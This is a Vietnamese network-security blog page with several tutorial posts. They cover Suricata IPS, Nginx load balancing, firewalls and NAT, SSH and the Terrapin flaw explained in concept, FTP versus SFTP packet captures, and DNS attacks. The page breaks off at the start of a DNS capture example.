Security on Roduygo | Blog

IDS/IPS với Suricata & Cân bằng tải

Thu, 21 May 2026 23:00:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài viết trước, chúng ta đã xây dựng thành công Vành đai Tường lửa (Firewall) vững chắc, nhưng Firewall truyền thống chỉ kiểm tra được lớp vỏ bên ngoài của gói tin. Để phát hiện được những mã độc nằm sâu bên trong “thùng hàng” dữ liệu và điều phối lưu lượng mạng khổng lồ, hệ thống cần được trang bị thêm “con mắt ma thuật” và “bộ não” thông minh. Hôm nay, chúng ta sẽ đi sâu vào phân tích hệ thống phát hiện/ngăn chặn xâm nhập (IDS/IPS) với Suricata, đồng thời làm rõ nghệ thuật Cân bằng tải (Load Balancing) ở Layer 4 và Layer 7.

1. Ranh giới giữa “Quan sát” và “Hành động”: IDS vs IPS

IDS (Intrusion Detection System) và IPS (Intrusion Prevention System) đều là các công nghệ bảo mật giúp phát hiện và cảnh báo hoạt động trái phép dựa trên chữ ký, trí tuệ nhân tạo hoặc các hành vi bất thường. Tuy nhiên, vị trí đứng và quyền sinh sát của chúng trong mạng lưới lại hoàn toàn khác nhau.

1.1 Giám sát thụ động với IDS (Passive Monitoring)

IDS hoạt động theo cơ chế Promiscuous Mode (Chế độ hỗn tạp). Điều này có nghĩa là nó chỉ copy một bản sao dữ liệu từ Switch (thông qua cổng SPAN/Mirror) để phân tích mà không hề can thiệp vào luồng đi của gói tin gốc.

Ví dụ, khi bạn đang tải một file qua FTP không bảo mật, IDS sẽ soi gói tin và phát hiện nội dung Clear-text truyền đi. Lúc này, nó sẽ kích hoạt Signature-based Detection và bắn một Alert lên màn hình SOC: “Cảnh báo: Phát hiện truyền tin Clear-text trên cổng 21!”. Tuy nhiên, vì nó chỉ quan sát, tệp tin của bạn vẫn sẽ được tải về bình thường.

1.2 Kiểm tra trực diện với IPS (In-line Inspection)

Trái ngược với sự thụ động của IDS, IPS đứng ngay giữa đường truyền mạng giống như một trạm thu phí (In-line Inspection). Mọi gói tin bắt buộc phải đi xuyên qua thân xác nó. Nếu gói tin sạch thì được đi tiếp, còn gói tin “bẩn” chứa mã độc sẽ bị Drop (Hủy) ngay lập tức.

Trong thực tế, nếu kẻ xấu thực hiện Brute Force SSH với hàng trăm gói tin từ một IP lạ, IPS sẽ dùng Statistical Anomaly-based Detection để nhận diện bất thường. Nó không chỉ báo cáo mà còn tự động tạo một Rule trên tường lửa để Block/Deny IP đó ngay tức khắc, khiến kẻ tấn công chỉ nhận được thông báo Connection timed out.

Cảnh báo SOC: Việc triển khai IPS tuy an toàn tuyệt đối nhưng lại mang rủi ro “nghẽn cổ chai” mạng hoặc chặn nhầm (False Positive) lưu lượng hợp lệ. Trong thực tiễn vận hành SOC, các hệ thống giám sát mới sẽ luôn được chạy ở chế độ IDS (chỉ nhận cảnh báo) một thời gian dài để “học” hành vi mạng, trước khi được chuyển sang bật chế độ IPS (chặn cắt tự động).

2. Thực chiến cấu hình IPS Suricata chặn Ping

Để biến Suricata từ một “kẻ quan sát” thành một “vệ sĩ” thực thụ mang tính chất IPS, chúng ta phải dùng iptables để tóm các gói tin ICMP (Ping) và đẩy chúng vào một hàng chờ (Queue) để Suricata trực tiếp duyệt và ra lệnh hủy.

# Đẩy gói tin Ping (ICMP) chiều vào (INPUT) sang hàng chờ NFQUEUE số 0
sudo iptables -I INPUT -p icmp -j NFQUEUE --queue-num 0

# Đẩy gói tin Ping (ICMP) chiều ra (OUTPUT) sang hàng chờ NFQUEUE số 0
sudo iptables -I OUTPUT -p icmp -j NFQUEUE --queue-num 0

# Mở file rule của Suricata để thêm luật Drop ICMP
sudo nano /var/lib/suricata/rules/local.rules

# Khởi chạy Suricata trỏ vào file luật vừa tạo và lắng nghe trên card mạng enp7s0
sudo suricata -S /var/lib/suricata/rules/local.rules -i enp7s0

# Theo dõi log cảnh báo và hành động chặn (Drop) theo thời gian thực
sudo tail -f /var/log/suricata/fast.log

Sau khi cấu hình, nếu bạn thực hiện lệnh ping 8.8.8.8, gói tin sẽ bị tóm vào NFQUEUE. Thay vì nhận được phản hồi Ping thành công, màn hình của bạn sẽ báo Request Timeout, và trong file fast.log sẽ liên tục xuất hiện nhãn [wDrop] chứng tỏ IPS đã ra tay chặn đứng thành công.

3. Nghệ thuật Cân bằng tải (Load Balancer)

Bên cạnh bảo mật, Cân bằng tải (Load Balancing) là kỹ thuật sống còn để điều phối lưu lượng giao thông mạng, đảm bảo các máy chủ không bao giờ bị “nghẽn cổ chai” khi có lượng lớn người truy cập cùng lúc.

3.1 Cân bằng tải Lớp 4 (L4 Load Balancing)

Kiểu cân bằng này điều phối giao thông dựa trên giao thức TCP/UDP ở Tầng 4. Nó chỉ nhìn vào Địa chỉ IP Đích và Số cổng (Port) để ra quyết định — không cần quan tâm nội dung bên trong gói tin chứa cái gì. Nhờ việc không phải giải mã nội dung (Decapsulation), cách này có tốc độ xử lý cực kỳ nhanh (ví dụ: IPVS trên Linux, F5 Big-IP).

3.2 Cân bằng tải Lớp 7 (L7 Load Balancing)

Đây là kiểu cân bằng tải “thông minh” hoạt động ở Tầng Ứng dụng, thường dựa trên giao thức HTTP/HTTPS. L7 Load Balancer có khả năng “soi” sâu vào nội dung của URL, Header hoặc Cookie.

Nó cực kỳ linh hoạt và phù hợp cho kiến trúc Microservices. Ví dụ, nếu người dùng truy cập ezlearn.com/api/v1/chat, nó sẽ đẩy sang cụm máy ảo xử lý Chat; còn nếu truy cập ezlearn.com/static/images, nó lại đẩy sang cụm lưu trữ hình ảnh (ví dụ: Nginx, HAProxy).

3.3 Cân bằng tải mức DNS (DNS Load Balancing)

Đây là kiểu cân bằng nằm ở “vòng ngoài cùng” trước khi gói tin chạm tới hệ thống của bạn. Khi bạn gõ google.com, máy chủ DNS sẽ tự động xoay vòng (Round Robin) và trả về các địa chỉ IP khác nhau cho những người dùng khác nhau.

4. Demo thực chiến Nginx Load Balancer (Round Robin)

Để thấy rõ cách một L7 Load Balancer chia việc, chúng ta dùng Nginx thiết lập thuật toán Round Robin (Chia đều) cho 2 máy chủ Python.

# Bật máy chủ backend số 1 chạy nền ở cổng 8001
python3 -m http.server 8001 &

# Bật máy chủ backend số 2 chạy nền ở cổng 8002
python3 -m http.server 8002 &

# Sửa file cấu hình của Nginx để điều hướng tải giữa 2 máy chủ trên
sudo nano /etc/nginx/conf.d/lb.conf

# Kiểm tra xem file cấu hình Nginx có bị lỗi cú pháp không
sudo nginx -t

# Khởi động lại dịch vụ Nginx để áp dụng cấu hình Load Balancer
sudo systemctl restart nginx

# Gửi request kiểm tra đến Nginx ở cổng 8080
curl -I http://127.0.0.1:8080

Với cơ chế Round Robin, mỗi request curl mới sẽ được Nginx luân phiên gửi sang backend kế tiếp trong danh sách (gói thứ nhất vào 8001, gói thứ hai vào 8002). Nếu bạn dùng Wireshark với bộ lọc http && (tcp.port == 8001 || tcp.port == 8002), bạn sẽ thấy rõ sự phân tán luồng cực kỳ nhịp nhàng này.

Việc kết hợp IDS/IPS để thanh lọc mã độc và Load Balancer để điều phối luồng truy cập giúp hệ thống mạng doanh nghiệp đạt được cả hai yếu tố: Bảo mật vững chắc và Hiệu năng tối đa. Tuy nhiên, hacker luôn tìm cách lẩn trốn, và chúng có thể dùng Proxy hoặc VPN để mã hóa toàn bộ dữ liệu, khiến cả IDS lẫn IPS đều bị “mù”. Trong Bài 13 tiếp theo, chúng ta sẽ phân tích cách VPN hoạt động ở Tầng 3 và nghệ thuật Vượt rào & Ẩn danh (Proxy vs VPN). Hãy cùng đón đọc nhé!

Vành đai Tường lửa (Firewall) & NAT

Thu, 21 May 2026 22:58:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Trong 10 bài viết trước, chúng ta đã lột tả mọi góc khuất của các giao thức mạng từ Tầng 1 đến Tầng 7 và phân tích cách hacker thao túng chúng. Giờ là lúc chúng ta chuyển từ thế bị động sang chủ động: Xây dựng các công sự bảo vệ. Hôm nay, chúng ta sẽ bắt đầu với lớp giáp kiên cố nhất của mọi hệ thống: Vành đai Tường lửa (Firewall) và cơ chế ẩn danh nội bộ (NAT).

1. Tường lửa (Firewall) là gì và Vị trí hoạt động

Firewall là một hệ thống bảo mật mạng đóng vai trò như một “màng lọc” khắc nghiệt, kiểm soát toàn bộ lưu lượng dữ liệu đi ra (Outbound) và đi vào (Inbound) giữa mạng nội bộ an toàn và môi trường Internet đầy rẫy hiểm nguy.

Dưới góc độ triển khai, Firewall được chia thành hai loại chính:

Network Firewall: Thường là thiết bị phần cứng hoặc máy chủ chuyên dụng đặt tại Gateway/Router để bảo vệ cả một mạng doanh nghiệp.
Host-based Firewall: Chạy trực tiếp trên từng hệ điều hành (như Windows Defender Firewall hoặc firewalld trên Linux) để bảo vệ duy nhất chiếc máy tính đó.

Để chặn đứng các mối đe dọa, Firewall có thể hoạt động ở nhiều tầng khác nhau trong mô hình OSI:

Layer 3 (Network): Lọc dựa trên địa chỉ IP Nguồn/Đích (ví dụ: Chặn IP 157.240.199.35 của Facebook).
Layer 4 (Transport): Lọc dựa trên giao thức TCP/UDP và số Cổng (ví dụ: Cấm cổng 22 SSH).
Layer 7 (Application): Lọc dựa trên nội dung thực tế của ứng dụng (ví dụ: Chặn các truy vấn DNS độc hại hoặc các HTTP GET mang mã SQL Injection).

2. Nguyên lý hoạt động: ACL, Packet Filtering và Stateful Inspection

Sức mạnh của Firewall nằm ở một danh sách các quy tắc được định nghĩa từ trước gọi là ACL (Access Control List). Khi một gói tin bay tới, Firewall sẽ áp dụng các cơ chế kiểm tra sau:

2.1 Lọc gói tin (Packet Filtering)

Firewall sẽ “soi” trực tiếp vào các lớp vỏ Header (Lớp 3 và Lớp 4) mà chúng ta đã phân tích trên Wireshark ở các bài trước. Nó kiểm tra xem địa chỉ IP và Port này có nằm trong danh sách đen (Blacklist) hay không.

2.2 Kiểm tra trạng thái (Stateful Inspection)

Những thế hệ Firewall thông minh không chỉ soi từng gói tin rời rạc, mà nó còn “nhớ” trạng thái của cả một cuộc hội thoại. Ví dụ: Nếu nó nhớ rằng máy tính của bạn vừa gửi một gói SYN ngỏ lời ra ngoài, nó sẽ tự động cho phép gói SYN-ACK phản hồi từ Server đi xuyên qua tường lửa để trở về máy bạn.

2.3 Phán quyết (Actions)

Sau khi đối chiếu ACL, Firewall sẽ đưa ra một trong ba phán quyết đối với gói tin:

Allow / Accept: Cho phép gói tin đi qua bình thường.
Deny / Drop: Tiêu hủy gói tin trong im lặng. Kẻ gửi sẽ không biết gói tin đi đâu, dẫn đến việc Wireshark liên tục báo lỗi TCP Retransmission do chờ mãi không thấy phản hồi.
Reject: Hủy gói tin nhưng lịch sự gửi lại một thông báo lỗi (thường là gói tin ICMP) báo cho kẻ gửi biết rằng “Cửa đã bị khóa”.

3. Thực chiến Firewall và Bắt bệnh trên Wireshark

Để minh họa sự khác biệt của phán quyết, chúng ta dùng firewalld trên Linux để chặn cổng 22 (SSH) bằng cơ chế REJECT và xem hệ thống phản ứng ra sao.

# Kiểm tra danh sách các luật (rules) đang hoạt động trên Firewall
sudo firewall-cmd --list-all

# Thêm một Rich Rule để từ chối mọi kết nối TCP vào cổng 22
sudo firewall-cmd --add-rich-rule='rule family="ipv4" port port="22" protocol="tcp" reject'

# Reload để Tường lửa áp dụng luật mới ngay lập tức
sudo firewall-cmd --reload

Lúc này, nếu có kẻ cố tình truy cập vào cổng 22 của máy bạn (192.168.1.29), Wireshark sẽ không hiện lỗi gửi lại (Retransmission) mà sẽ chộp được ngay một gói tin phản hồi chí mạng ở Lớp 3:

# Gói tin ICMP trả về khi Firewall áp dụng cơ chế REJECT
# Hệ thống trực tiếp đóng sập cửa và thông báo "Host unreachable"

No. Time Source Destination Protocol Info
5 2.204045407 192.168.1.29 192.168.1.29 ICMP Destination unreachable (Host unreachable)

Góc nhìn SOC: Thông điệp Destination unreachable (Host unreachable) của ICMP chính là cách Firewall “trả lời” kẻ tấn công. Trong thực tế, Blue Team thường ưu tiên dùng quy tắc DROP thay vì REJECT. Việc Drop (hủy trong im lặng) sẽ làm công cụ quét mạng (Scanner) của hacker bị treo và chậm đi đáng kể do phải đợi Timeout, đồng thời không cung cấp cho chúng bất kỳ manh mối nào về việc hệ thống có Firewall hay không.

4. NAT (Network Address Translation): Người hùng giấu mặt

Firewall chặn đứng các cuộc tấn công từ bên ngoài, nhưng còn một kỹ thuật khác giúp hệ thống nội bộ trở nên vô hình trên Internet: NAT. NAT hoạt động chủ yếu ở Tầng 3 và Tầng 4, với nhiệm vụ thay đổi địa chỉ IP trong gói tin khi nó đi qua Router.

Hãy xem quá trình gói tin đi từ máy tính của bạn (IP nội bộ 192.168.1.29) ra máy chủ Facebook (157.240.199.35):

Gói tin đi ra (Outbound): Máy bạn gửi gói tin từ địa chỉ 192.168.1.29:56375 tới 157.240.199.35:443.
Tại Router (Quá trình dịch): Router không thể đẩy dải IP 192.168.x.x ra Internet vì đây là dải địa chỉ Private không được định tuyến. NAT sẽ “xóa” IP nguồn này và thay bằng IP Public của công ty (ví dụ: 113.161.x.x). Đồng thời, nó ghi vào NAT Table một dòng: “Port 56375 của máy nội bộ .29 đang được gán cho kết nối Facebook”.
Gói tin đi về (Inbound): Facebook phản hồi lại địa chỉ Public 113.161.x.x:56375. Router nhận gói tin, dò lại NAT Table, thấy khớp Port nên tự động “dịch” ngược lại IP đích thành 192.168.1.29 và đẩy vào máy bạn.

Nhờ NAT, dù công ty bạn có hàng nghìn nhân viên, tất cả chỉ cần dùng chung một vài địa chỉ IP Public để lướt web. Hacker đứng ngoài Internet sẽ không thể nào biết được kiến trúc địa chỉ IP thực sự bên trong mạng nội bộ của bạn.

Việc triển khai vững chắc Firewall và NAT giúp che giấu và bảo vệ hạ tầng mạng của tổ chức khỏi 90% các cuộc rà quét tự động của tin tặc. Tuy nhiên, Firewall chỉ có thể soi được lớp vỏ Header, vậy nếu hacker nhét một tệp chứa mã độc vào bên trong một gói tin HTTP hợp lệ thì sao? Ở Bài 12 tiếp theo, chúng ta sẽ lắp đặt thêm “con mắt ma thuật” cho mạng lưới: Phân tích sự khác biệt giữa IDS (Giám sát thụ động) và IPS (Ngăn chặn chủ động) với công cụ Suricata. Đừng bỏ lỡ nhé!

Quản trị từ xa (SSH) & Lỗ hổng Terrapin (CVE-2023-48795)

Thu, 21 May 2026 22:57:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài trước, chúng ta đã thấy SFTP tận dụng sự kiên cố của kiến trúc đường hầm SSH để bảo vệ việc truyền tải dữ liệu. Tuy nhiên, vỏ bọc nào cũng có điểm yếu chí mạng nếu quá trình “đàm phán” ban đầu bị thao túng. Hôm nay, chúng ta sẽ đi sâu vào kỹ thuật quản trị từ xa bằng SSH, giải phẫu cơ chế nhận diện Fingerprint và mổ xẻ lỗ hổng Terrapin (CVE-2023-48795) — đòn tấn công tinh vi đánh thẳng vào tính toàn vẹn của quá trình bắt tay.

1. SSH (Secure Shell) - “Vua” của dòng lệnh từ xa

SSH (hoạt động ở Cổng 22) ra đời để thay thế cho giao thức Telnet lỗi thời, được sử dụng chủ yếu để đăng nhập và điều khiển các máy chủ Linux từ xa với độ bảo mật cực cao.

Bản chất của SSH là tạo ra một đường hầm mã hóa để bạn truyền các lệnh văn bản (Text-based). Nó sử dụng cơ chế bảo mật dựa trên cặp khóa Public/Private Key hoặc mật khẩu đã được băm. Đứng ở góc độ một SOC Analyst soi gói tin bằng Wireshark, toàn bộ dữ liệu giao tiếp bên trong SSH chỉ hiện ra dưới dạng các khối Encrypted Packet — kẻ tấn công không thể đọc được bạn đang gõ lệnh quản trị gì.

2. Ranh giới chống MitM: Dấu vân tay (Fingerprint) và known_hosts

Vậy làm sao máy tính của bạn biết nó đang kết nối đúng đến Server thật chứ không phải một máy chủ giả mạo do hacker dựng lên (Man-in-the-Middle)? Bí quyết nằm ở cơ chế Dấu vân tay (Fingerprint).

Khi bạn thực hiện kết nối SSH lần đầu tiên, máy khách chưa biết gì về Server. Lúc này, Server sẽ gửi “chứng minh thư” của nó dưới dạng một mã Fingerprint (thường dùng thuật toán băm ED25519 từ Khóa công khai).

# Lệnh kết nối SSH vào máy chủ Linux
# Hệ thống sẽ hỏi xác nhận Fingerprint trong lần kết nối đầu tiên
ssh admin@10.10.50.20

# The authenticity of host '10.10.50.20 (10.10.50.20)' can't be established.
# ED25519 key fingerprint is SHA256:bafc947d6e921971472e82f52462129e.
# Are you sure you want to continue connecting (yes/no/[fingerprint])?

Khi bạn gõ yes, máy của bạn sẽ lưu vĩnh viễn khóa này vào file known_hosts. Kể từ những lần đăng nhập sau, nếu dấu vân tay này bị thay đổi (do hacker can thiệp và ép dùng khóa giả), SSH sẽ lập tức hiển thị cảnh báo đỏ và ngắt kết nối để bảo vệ bạn.

3. Lỗ hổng Terrapin (CVE-2023-48795) - Thao túng gói tin bắt tay

Mặc dù khóa phiên được trao đổi và lưu an toàn trong RAM ngay từ đầu, SSH vẫn tồn tại một lỗ hổng chí mạng mang tên Terrapin Attack (CVE-2023-48795). Điểm đáng sợ của Terrapin là nó không thèm bẻ khóa thuật toán mã hóa, mà đánh trực tiếp vào tính toàn vẹn của quá trình “bắt tay” (Handshake).

Trong giao thức SSH, mỗi gói tin được gửi đi đều đi kèm với một số thứ tự (Sequence Number) ngẫu nhiên và tăng dần ngầm định. Cả Client và Server đều kiểm tra gắt gao số này để đảm bảo không một gói tin nào bị rơi rớt hay bị kẻ xấu chèn thêm vào.

Cách thức tấn công của Terrapin (kỹ thuật “Cắt dán” số thứ tự) diễn ra như sau:

Hacker chiếm vị trí Man-in-the-Middle (MitM) giữa máy bạn và Server.
Trong giai đoạn đầu của quá trình bắt tay (khi mã hóa toàn phần chưa được thiết lập), hacker chủ động xóa bỏ một số gói tin cụ thể — ví dụ: gói tin báo hiệu việc hỗ trợ các thuật toán bảo mật cao.
Để hai bên Client và Server không phát hiện ra sự thiếu hụt này, hacker điều chỉnh lại số thứ tự của các gói tin kế tiếp sao cho chúng khớp hoàn hảo với mong đợi của hai bên — như thể gói tin bị xóa chưa từng tồn tại.

4. Hậu quả: Hạ cấp bảo mật và Vô hiệu hóa Keystroke Obfuscation

Mục đích cuối cùng của việc “xóa dấu vết” khéo léo này là để thực hiện đòn Hạ cấp bảo mật (Downgrade Attack). Bằng cách xóa các gói tin mở rộng (Extension Info), hacker đánh lừa cả hai bên về khả năng bảo mật của nhau.

Hậu quả mang lại cực kỳ tàn khốc:

Ép dùng thuật toán yếu: SSH sẽ bị lừa và tự động lùi về sử dụng các bộ thuật toán mã hóa cũ hơn, yếu hơn, dễ bị hacker dùng kỹ thuật tấn công kênh kề để khai thác.
Vô hiệu hóa Keystroke Obfuscation: Đây là tính năng quan trọng của SSH dùng để làm nhiễu “nhịp gõ phím” khi truyền qua mạng. Khi Terrapin vô hiệu hóa thành công tính năng này, hacker đứng giữa có thể dễ dàng đoán được độ dài mật khẩu và thực hiện tấn công Sniffing.

Cảnh báo SOC: Lỗ hổng Terrapin cho thấy tầm quan trọng của việc cập nhật phần mềm. Để chống lại đòn tấn công này, quản trị viên mạng phải đảm bảo cả SSH Client (như PuTTY, OpenSSH) và SSH Server đều được cập nhật lên phiên bản mới nhất có hỗ trợ cờ “Strict KEX” (Bắt tay nghiêm ngặt) nhằm chặn đứng hành vi thao túng gói tin.

Khép lại Bài 10, chúng ta đã hoàn tất việc mổ xẻ những giao thức quan trọng nhất ở Tầng Ứng dụng (Lớp 7) như DNS, DHCP, HTTP, FTP và SSH. Bức tranh về cách dữ liệu truyền tải trên mạng đã hoàn thiện. Giờ là lúc chúng ta chuyển sang thế chủ động: Làm thế nào để xây dựng các công sự bảo vệ mạng lưới này? Trong Bài 11 tiếp theo, chúng ta sẽ bắt đầu Phần 4 của Series với chủ đề Vành đai Tường lửa (Firewall) & Cơ chế NAT. Hãy cùng chờ đón nhé!

Giao thức Truyền tải (HTTP/HTTPS & FTP/SFTP)

Thu, 21 May 2026 22:55:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở phần trước, chúng ta đã đi sâu vào hạ tầng mạng với DNS và DHCP. Khi gói tin đã có IP và tìm được đích đến, hệ thống sẽ chuyển giao nhiệm vụ cho các giao thức truyền tải văn bản và tệp tin ở Lớp Ứng dụng (Tầng 7). Hôm nay, chúng ta sẽ đặt HTTP/HTTPS và FTP/SFTP lên bàn mổ Wireshark để thấy rõ ranh giới sinh tử giữa dữ liệu trần trụi và kiến trúc đường hầm mã hóa.

1. HTTP và HTTPS: Ranh giới giữa “Trần trụi” và “Kín đáo”

HTTP (Cổng 80) là giao thức nền tảng để duyệt web, nhưng bản chất của nó là truyền văn bản thuần (Clear-text) hoàn toàn không được mã hóa. Đứng ở góc độ bảo mật, nếu bạn sử dụng mạng Wi-Fi công cộng để truy cập một trang web HTTP, bất kỳ ai có kiến thức cơ bản về mạng đang dùng Wireshark cũng có thể “nghe lén”. Họ sẽ thấy toàn bộ nội dung bạn chat, tài khoản, mật khẩu và thậm chí có thể can thiệp sửa đổi dữ liệu trên đường đi.

Để khắc phục điều này, HTTPS (Cổng 443) ra đời. Nó thực chất là giao thức HTTP được chạy trên nền của SSL/TLS ở Tầng 6 (Presentation).

Khi bạn truy cập facebook.com qua HTTPS, sau khi hoàn tất quá trình Bắt tay TCP ở Tầng 4, quy trình mã hóa sẽ diễn ra như sau:

Chuẩn bị (TLS Handshake): Trình duyệt (Client Hello) và máy chủ (Server Hello) đàm phán để chọn ra một bộ công cụ mật mã (Cipher Suite) chung.
Mã hóa (Application Data): Chỉ sau khi “đường hầm” TLS được thiết lập xong, dữ liệu web thực sự (phương thức GET/POST, mật khẩu, hình ảnh) mới bắt đầu được đẩy đi dưới dạng các khối Encrypted Application Data. Lúc này, hacker đứng giữa mạng sẽ hoàn toàn mù tịt.

2. FTP và Thảm họa Lộ Mật khẩu (Clear-text)

Tương tự như câu chuyện của HTTP, giao thức truyền tải tệp tin FTP (File Transfer Protocol) hoạt động ở Cổng 20 và 21 cũng là một giao thức cực kỳ yếu kém về bảo mật.

Hãy tưởng tượng một kịch bản thực chiến: Một nhân viên dùng FTP để upload báo cáo nội bộ qua mạng Wi-Fi ở quán cà phê. Hacker ngồi góc phòng, bật Wireshark (hoặc Ettercap) để thực hiện tấn công Man-in-the-Middle (MitM). Vì FTP không hề có lớp bảo vệ mã hóa nào, hacker sẽ bắt được toàn bộ gói tin giao tiếp trần trụi giữa máy trạm và Server.

Dưới đây là bằng chứng kết xuất từ Wireshark khi hacker bắt thành công gói tin FTP:

# Gói tin FTP cho thấy thông tin đăng nhập bị lộ hoàn toàn
# IP Nạn nhân: 192.168.1.15 | IP Máy chủ FTP: 10.10.50.20

No. Time Source Destination Protocol Info
34 100.646 192.168.1.15 -> 10.10.50.20 FTP Request: USER roduygo
36 100.646 10.10.50.20 -> 192.168.1.15 FTP Response: 331 Please specify the password.
38 102.659 192.168.1.15 -> 10.10.50.20 FTP Request: PASS 7905
40 102.756 10.10.50.20 -> 192.168.1.15 FTP Response: 230 Login successful.
42 102.756 192.168.1.15 -> 10.10.50.20 FTP Request: SYST
[...]

Chỉ với vài giây phân tích, hacker đã lấy được chính xác tài khoản (USER roduygo) và mật khẩu (PASS 7905). Từ đây, chúng có thể đăng nhập thẳng vào Server để trích xuất dữ liệu mật hoặc xóa sạch mọi tài liệu quan trọng.

Cảnh báo SOC: FTP mặc định là một lỗ hổng chí mạng. SOC Analyst cần đưa ra cảnh báo khẩn cấp (Alert) trên hệ thống IDS/IPS nếu phát hiện bất kỳ lưu lượng FTP nào (Port 21) truyền tải dữ liệu mà không đi qua các đường hầm VPN hoặc chưa được bọc TLS (FTPS).

3. SFTP: Kiến trúc Đường hầm Bảo mật tuyệt đối

Để giải quyết vấn đề của FTP, giải pháp an toàn và phổ biến nhất hiện nay trong giới quản trị hệ thống là SFTP (SSH File Transfer Protocol).

Một sai lầm rất thường gặp là mọi người nghĩ SFTP là “FTP cộng thêm bảo mật”. Thực chất không phải vậy! SFTP là một giao thức hoàn toàn mới được xây dựng từ đầu ngay bên trong không gian của SSH (Cổng 22). Trong khi SSH cung cấp cho bạn quyền gõ lệnh Terminal từ xa, thì SFTP tận dụng chính “đường hầm” an toàn đó để truyền tải tệp tin.

Khi bạn kết nối SFTP lần đầu, hệ thống sẽ sử dụng cơ chế bảo mật cực mạnh:

Kiểm tra Fingerprint: Máy bạn sẽ hỏi “dấu vân tay” (thường là mã ED25519) của Server và lưu vào file known_hosts. Từ lần sau, nếu dấu vân tay này bị thay đổi (do hacker cố tình dựng Server giả mạo), SSH sẽ báo động đỏ ngay lập tức.
Mã hóa hoàn toàn: Toàn bộ lệnh gõ, tên file, và nội dung file đều bị băm và xáo trộn.

Nếu hacker tiếp tục dùng Wireshark để nghe lén luồng SFTP, thứ duy nhất chúng thấy chỉ là vô vọng:

# Gói tin SFTP (chạy qua SSH) hoàn toàn bị mã hóa, che giấu mọi hoạt động
# IP Nạn nhân: 192.168.1.15 | IP Máy chủ SFTP: 10.10.50.20

No. Time Source Destination Protocol Info
14 13.1338 192.168.1.15 -> 10.10.50.20 SSHv2 Client: PQ/T Hybrid Key Exchange Init
15 13.1383 10.10.50.20 -> 192.168.1.15 SSHv2 Server: PQ/T Hybrid Key Exchange Reply, New Keys
17 18.3181 192.168.1.15 -> 10.10.50.20 SSHv2 Client: New Keys, Encrypted packet (len=68)
19 18.3509 10.10.50.20 -> 192.168.1.15 SSHv2 Client: Encrypted packet (len=52)
34 21.8629 192.168.1.15 -> 10.10.50.20 SSHv2 Client: Encrypted packet (len=128)
36 21.9083 10.10.50.20 -> 192.168.1.15 SSHv2 Server: Encrypted packet (len=628)
[...]

Thay vì thấy lệnh USER hay PASS, tất cả những gì hiển thị trên màn hình của hacker giờ đây chỉ là các khối Encrypted packet khô khan.

Hiểu rõ sự khác biệt giữa giao thức truyền văn bản thuần (HTTP, FTP) và các giao thức bọc giáp (HTTPS, SFTP) giúp SOC Analyst biết phải cấu hình giám sát ở đâu để không bị lọt lưới thông tin nhạy cảm. Dù SSH/SFTP rất kiên cố, nhưng vỏ bọc nào cũng có điểm yếu chí mạng nếu quá trình “đàm phán” ban đầu bị thao túng. Trong Bài tiếp theo, chúng ta sẽ đi sâu vào kỹ thuật quản trị từ xa (SSH) và mổ xẻ lỗ hổng Terrapin (CVE-2023-48795) — đòn tấn công tinh vi đánh thẳng vào tính toàn vẹn của quá trình bắt tay SSH. Hãy cùng chờ đón nhé!

Hạ tầng Mạng (DNS & DHCP)

Thu, 21 May 2026 22:53:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Sau khi đã thiết lập xong “đường hầm” mã hóa vững chắc ở Tầng 6, chúng ta chính thức bước chân vào Lớp 7 (Application). Đây là nơi chứa đựng những giao thức nền tảng nhất giúp Internet vận hành, nhưng cũng là những “góc khuất ngây thơ” nhất vì mặc định chúng thiếu đi các cơ chế bảo mật cốt lõi. Hôm nay, chúng ta sẽ cùng bóc tách hệ thống phân giải tên miền (DNS) và quá trình xin cấp phát IP tự động (DHCP), đồng thời phân tích các đòn đánh hiểm hóc nhắm vào chúng.

1. DNS (Domain Name System) - Bản danh bạ của Internet

Hệ thống phân giải tên miền (DNS) là một giao thức cốt lõi thuộc Tầng 7 (Application Layer) hoạt động chủ yếu qua cổng UDP 53. Nhiệm vụ của nó là “dịch” các tên miền dễ nhớ đối với con người (như google.com) thành địa chỉ IP thực tế để máy tính có thể giao tiếp với nhau trên mạng.

Ví dụ, trước khi bạn thực sự truy cập vào trang Facebook, máy tính của bạn sẽ bắn một gói tin truy vấn DNS đến máy chủ phân giải (như 8.8.8.8) để hỏi IP của Facebook là gì. Sau khi DNS trả về địa chỉ IP và lưu nó vào bộ nhớ đệm (cache), trình duyệt của bạn mới bắt đầu thực hiện kết nối TCP 3 bước để trao đổi dữ liệu web.

2. Bắt tại trận các đòn tấn công nhắm vào DNS

DNS được thiết kế từ thời kỳ sơ khai của Internet nên nó rất “ngây thơ”: mặc định các truy vấn không được mã hóa và không có cơ chế xác thực danh tính mạnh mẽ. Hacker hiểu rất rõ điểm yếu này và thường xuyên tung ra các đòn tấn công sau:

DNS Spoofing / Poisoning (Lừa đảo/Đầu độc): Kẻ tấn công gửi một gói tin trả lời (Response) giả mạo chứa địa chỉ IP của máy hacker, cố gắng đến máy bạn nhanh hơn cả DNS Server thật. Nếu số định danh Transaction ID trong gói tin trùng khớp, máy tính của bạn sẽ tin tưởng tuyệt đối và truy cập thẳng vào trang web lừa đảo do hacker dựng sẵn.
DNS Tunneling (Đường hầm dữ liệu): Tường lửa của các doanh nghiệp thường luôn cho phép cổng 53 đi qua một cách tự do. Biết được kẽ hở này, hacker có thể nhồi nhét dữ liệu nhạy cảm (như mã nguồn dự án hoặc thông tin thẻ tín dụng) vào bên trong các truy vấn DNS thông thường để âm thầm tuồn dữ liệu ra ngoài (Data Exfiltration) mà không bị hệ thống IDS/IPS chặn lại.
DNS Hijacking (Chiếm quyền điều khiển): Kẻ gian trực tiếp thay đổi cài đặt máy chủ DNS trên hệ điều hành máy nạn nhân hoặc trên Router để trỏ mọi truy vấn phân giải về một DNS Server do chúng kiểm soát hoàn toàn.

Dưới đây là output Wireshark ghi lại một truy vấn DNS bình thường. Nếu bị DNS Spoofing, IP trả về ở gói số 2 sẽ là IP của kẻ tấn công thay vì IP thật:

# Máy khách 192.168.1.156 hỏi DNS Server 203.113.188.6 địa chỉ của google.com
# Bộ lọc Wireshark: dns && ip.addr == 192.168.1.156

No. Time Source Destination Protocol Info
